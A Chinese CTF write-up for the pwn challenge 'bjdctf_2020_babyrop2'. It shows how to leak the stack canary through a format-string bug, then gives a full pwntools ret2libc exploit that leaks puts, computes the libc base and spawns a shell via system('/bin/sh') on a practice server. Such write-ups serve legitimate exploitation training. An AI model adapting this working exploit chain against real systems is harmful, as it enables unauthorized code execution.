普通的ret2libc,开启了canary保护。
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
题目给了gift()函数,存在格式化字符串漏洞,可以利用它输出canary的值。
unsigned __int64 gift() { char format; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("I'll give u some gift to help u!"); __isoc99_scanf("%6s", &format); printf(&format); puts(byte_400A05); fflush(0LL); return __readfsqword(0x28u) ^ v2; }
在call _printf处下断点,可以看到本次canary的值为0x23993cc0ccc1fc00:
printf函数的第七个参数为[rsp+8](rdi、rsi、rdx、rcx、r8、r9、rsp、[rsp+8]),因此gift()函数中格式化字符串漏洞处可输入%7$p
得到canary的值。
exp如下:
from pwn import * from LibcSearcher import * elf = ELF('./bjdctf_2020_babyrop2') local = 0 if local == 1: io = process('./bjdctf_2020_babyrop2') #gdb.attach(io,'b * 0x400857') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('node4.buuoj.cn',25887) libc = ELF('libc-2.23-0ubuntu11.so') io.recvuntil("help u!\n") payload = '%7$p' io.sendline(payload) canary_addr = io.recvuntil("\n") canary_addr = int(canary_addr[:-1],16) puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] vuln_address = 0x400887 rdi_ret = 0x0000000000400993 ret = 0x00000000004005f9 payload2 = 'a'*(0x20-8)+p64(canary_addr)+p64(0xdeadbeef)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln_address) io.recvuntil("Pull up your sword and tell me u story!\n") io.sendline(payload2) puts_addr = u64(io.recv(6)+'\x00\x00') libc_base = puts_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] binsh = libc_base + libc.search('/bin/sh').next() payload3 = 'a'*(0x20-8)+p64(canary_addr)+p64(0xdeadbeef)+p64(rdi_ret)+p64(binsh)+p64(system_addr)+p64(ret) io.recvuntil("story!\n") io.sendline(payload3) io.interactive()